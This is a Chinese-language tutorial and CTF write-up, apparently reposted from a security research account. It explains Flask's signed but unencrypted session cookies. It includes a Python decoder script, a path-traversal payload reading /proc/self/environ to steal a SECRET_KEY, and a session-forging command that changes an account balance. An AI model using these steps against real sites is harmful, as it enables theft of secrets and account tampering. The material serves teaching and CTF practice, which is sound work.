揭秘Flask Session伪造攻击

Flask的Session存储在客户端,并通过HTTP请求头的Cookie字段获取。值得注意的是,Flask仅对数据进行签名,而未进行加密。因此,在客户端可以读取Session的全部内容,这可能引发一些安全问题。

Flask Session 简介

由于HTTP协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。
Flask的session是存储在客户端的(可以通过HTTP请求头Cookie字段的session获取),Flask只对数据进行了签名(防篡改)没有进行加密,session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
生成session的操作分如下几步:
1.json.dumps 将对象转换成json字符串,作为数据
2.如果数据压缩后长度更短,则用zlib库进行压缩
3.将数据用base64编码

4.通过HMAC算法计算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。

session 在 cookie 中的值,是一个字符串,由点分割成三个部分。

eyJzdGF0dXMiOnRydWUsInVzZXJuYW1lIjoiYWFhIn0.YpIN8g.FNwNaoHaJtbg5GKBoqiZI910ZdM

1.第一部分是 base64 加密的数据。

2.第二部分是时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话。

3.第三部分是校验信息:是利用HMAC算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

Flask Session 伪造

Flask session是利用HMAC算法将session数据和时间戳加上secret_key加密而成的,那么要进行session伪造就要先得到secret_key,一般是通过信息泄漏或者文件读取等途径获取到,当得到secret_key就可以很轻松的进行session伪造。
可以利用如下脚本解密Session,获取数据部分内容。
import zlibfrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decode
def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload)if __name__ == '__main__': s="eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"print(decryption(s.encode()))
也可以用flask-session-cookie-manager 脚本对Flask session 进行加解密操作。
下载地址:https://github.com/noraj/flask-session-cookie-manager
使用方法:
解密操作:python3 flask-session-cookie-manager3.py decode -c "session值" (-s "secret_key值")加密操作:python3 flask-session-cookie-manager3.py encode -s "secret_key值" -t "需要伪造的值"

例题分析

例题:honey_shop
前端是一个蜂蜜商店,当前金额只有$1336,商品有蜂蜜和flag,但flag要$1337,买不了。
一般这种题目的常规操作就是通过修改当前金额数,使其能够买到flag。猜测可能是传参时存在金额参数或者cookie中。
使用BurpSuite抓取数据包,购买商品的HTTP请求,只有一个item参数,应该为商品序号。获取到其中的session,用如下脚本解密:
import zlibfrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decode
def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload)if __name__ == '__main__': s="eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YqalMQ.4OKZBuFUOjNt0jb3RuIw3qdWWE4" print(decryption(s.encode()))
运行结果:

揭秘Flask Session伪造攻击

其中balance应该为当前余额。猜测是要伪造session,修改余额,所以需要SECRET_KEY的值。
在前端发现了一句提示:*click to download our sweet images*,点击可以下载图片,猜测存在任意文件下载,
download?image=../../../../proc/self/environ
获取到SECRET_KEY值

揭秘Flask Session伪造攻击

使用flask-session-cookie加密脚本,进行session伪造。
python3 flask_session_cookie_manager3.py encode -s "Ln3q65YU8U21gRiJ9k5NyRnuJ5IpjR7RLDNKZ2cl" -t "{'balance': 1500, 'purchases': ['Herbs honey']}"
得到一个字符串,修改Cookie的session值,然后购买flag。

原文始发于微信公众号(山石网科安全技术研究院):揭秘Flask Session伪造攻击

版权声明:admin 发表于 2024年5月20日 下午2:45。
转载请注明:揭秘Flask Session伪造攻击 | CTF导航

相关文章